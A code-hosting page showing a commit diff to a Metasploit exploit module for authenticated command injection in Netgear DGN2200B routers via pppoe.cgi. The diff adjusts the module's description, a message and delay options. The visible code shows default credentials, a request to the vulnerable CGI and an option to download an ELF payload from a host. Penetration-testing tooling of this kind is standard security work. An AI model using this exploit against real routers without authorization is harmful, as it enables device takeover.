infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Do final cleanup for netgear_dgn2200b_pppoe_exec

unstable
jvazquez-r7 2013-04-19 15:50:13 -05:00
parent c1819e6ecc
commit 19a158dce9
1 changed files with 11 additions and 11 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

22
modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb
View File

@ -19,13 +19,13 @@ class Metasploit3 < Msf::Exploit::Remote
super(update_info(info, super(update_info(info,
'Name' => 'Netgear DGN2200B pppoe.cgi Remote Command Execution', 'Name' => 'Netgear DGN2200B pppoe.cgi Remote Command Execution',
'Description' => %q{ 'Description' => %q{
Some Netgear Routers are vulnerable to an authenticated OS command injection. Some Netgear Routers are vulnerable to an authenticated OS command injection
Default credentials for the web interface are admin/admin or admin/password. on their web interface. Default credentials for the web interface are admin/admin
Since it is a blind os command injection vulnerability, there is no output for the or admin/password. Since it is a blind os command injection vulnerability, there
executed command when using the cmd generic payload. A ping command against a is no output for the executed command when using the cmd generic payload. A ping
controlled system could be used for testing purposes. command against a controlled system could be used for testing purposes. This module
overwrites parts of the PPOE configuration, while the module tries to restore it
WARNING: We overwrite parts of the PPPOE configuration! Backup it prior using this module! after exploitation configuration backup is recommended.
}, },
'Author' => 'Author' =>
[ [
@ -71,7 +71,8 @@ class Metasploit3 < Msf::Exploit::Remote
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]), OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]),
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 45]) OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
OptInt.new('RELOAD_CONF_DELAY', [true, 'Time to wait to allow the remote device to load configuration', 45])
], self.class) ], self.class)
end end
@ -96,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote
end end
if [200, 301, 302].include?(res.code) if [200, 301, 302].include?(res.code)
if res.body =~ /pppoe_username/ if res.body =~ /pppoe_username/
print_good("#{rhost}:#{rport} - Successful downloaded the configuration") print_good("#{rhost}:#{rport} - Successfully downloaded the configuration")
else else
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible or the device uses a configuration which is not supported") fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible or the device uses a configuration which is not supported")
end end
@ -157,7 +158,6 @@ class Metasploit3 < Msf::Exploit::Remote
#&wan_hwaddr_def=84%3A1B%3A5E%3A01%3AE7%3A05&wan_hwaddr2=84%3A1B%3A5E%3A01%3AE7%3A05 #&wan_hwaddr_def=84%3A1B%3A5E%3A01%3AE7%3A05&wan_hwaddr2=84%3A1B%3A5E%3A01%3AE7%3A05
#&wan_hwaddr_pc=5C%3A26%3A0A%3A2B%3AF0%3A3F&wan_nat=1&opendns_parental_ctrl=0 #&wan_hwaddr_pc=5C%3A26%3A0A%3A2B%3AF0%3A3F&wan_nat=1&opendns_parental_ctrl=0
#&pppoe_flet_sel=&pppoe_flet_type=&pppoe_temp=&opendns_parental_ctrl=0 #&pppoe_flet_sel=&pppoe_flet_type=&pppoe_temp=&opendns_parental_ctrl=0
res = send_request_cgi( res = send_request_cgi(
{ {
'uri' => uri, 'uri' => uri,
@ -222,7 +222,7 @@ class Metasploit3 < Msf::Exploit::Remote
uri = '/pppoe.cgi' uri = '/pppoe.cgi'
user = datastore['USERNAME'] user = datastore['USERNAME']
pass = datastore['PASSWORD'] pass = datastore['PASSWORD']
@timeout = datastore['HTTP_DELAY'] @timeout = datastore['RELOAD_CONF_DELAY']
# #
# testing Login # testing Login